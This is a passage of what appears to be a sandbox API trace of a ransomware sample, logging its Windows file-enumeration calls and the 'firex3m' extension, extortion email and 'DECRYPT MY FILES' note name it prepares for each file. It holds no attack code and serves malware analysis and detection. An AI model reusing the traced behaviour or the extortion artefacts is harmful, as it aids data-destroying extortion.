shared\\ink\\fsdefinitions\\main\\base_heb.xml", len=0x52 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0113.503] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 0x52 [0113.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.503] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.503] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.504] GetProcessHeap () returned 0x630000 [0113.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x1c) returned 0x6e9198 [0113.504] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0113.504] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", len=0x52 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0113.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 0x52 [0113.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.504] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.504] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.504] GetProcessHeap () returned 0x630000 [0113.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9198, Size=0x20) returned 0x6e8fe0 [0113.504] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0113.504] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", len=0x52 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0113.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 0x52 [0113.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.505] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.505] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.505] GetProcessHeap () returned 0x630000 [0113.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x24) returned 0x699c78 [0113.505] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0113.505] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", len=0x52 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0113.505] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 0x52 [0113.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.506] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.506] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.506] GetProcessHeap () returned 0x630000 [0113.506] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x28) returned 0x699af8 [0113.506] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0113.506] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", len=0x4f | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0113.506] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 0x4f [0113.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.506] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.506] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.506] GetProcessHeap () returned 0x630000 [0113.507] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699af8, Size=0x2c) returned 0x6ed6230 [0113.507] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0113.507] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", len=0x4f | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0113.507] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 0x4f [0113.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.507] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.507] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.507] GetProcessHeap () returned 0x630000 [0113.507] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6230, Size=0x30) returned 0x6ed5d98 [0113.507] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0113.507] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", len=0x55 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 1 [0113.507] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", cchLength=0x55 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 0x55 [0113.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.508] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.508] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.508] GetProcessHeap () returned 0x630000 [0113.508] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5d98, Size=0x34) returned 0x6d51c0 [0113.508] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0113.508] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", len=0x51 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0113.508] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 0x51 [0113.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.508] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.508] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.509] GetProcessHeap () returned 0x630000 [0113.509] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x38) returned 0x6d5340 [0113.509] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0113.509] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", len=0x55 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 1 [0113.509] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", cchLength=0x55 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 0x55 [0113.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.509] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.509] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.509] GetProcessHeap () returned 0x630000 [0113.509] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5340, Size=0x3c) returned 0x6fefa40 [0113.509] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.509] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0113.510] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0113.510] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", len=0x49 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 1 [0113.510] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 0x49 [0113.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.510] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.510] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.510] GetProcessHeap () returned 0x630000 [0113.510] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefa40, Size=0x40) returned 0x6fefba8 [0113.510] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui", cAlternateFileName="OSKCLE~1")) returned 1 [0113.511] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\", len=0x4c | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\") returned 1 [0113.511] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\") returned 0x4c [0113.511] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0113.511] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0113.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5480 [0113.511] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.511] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 1 [0113.511] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", len=0x5e | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 1 [0113.511] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 0x5e [0113.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.512] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.512] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0113.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, 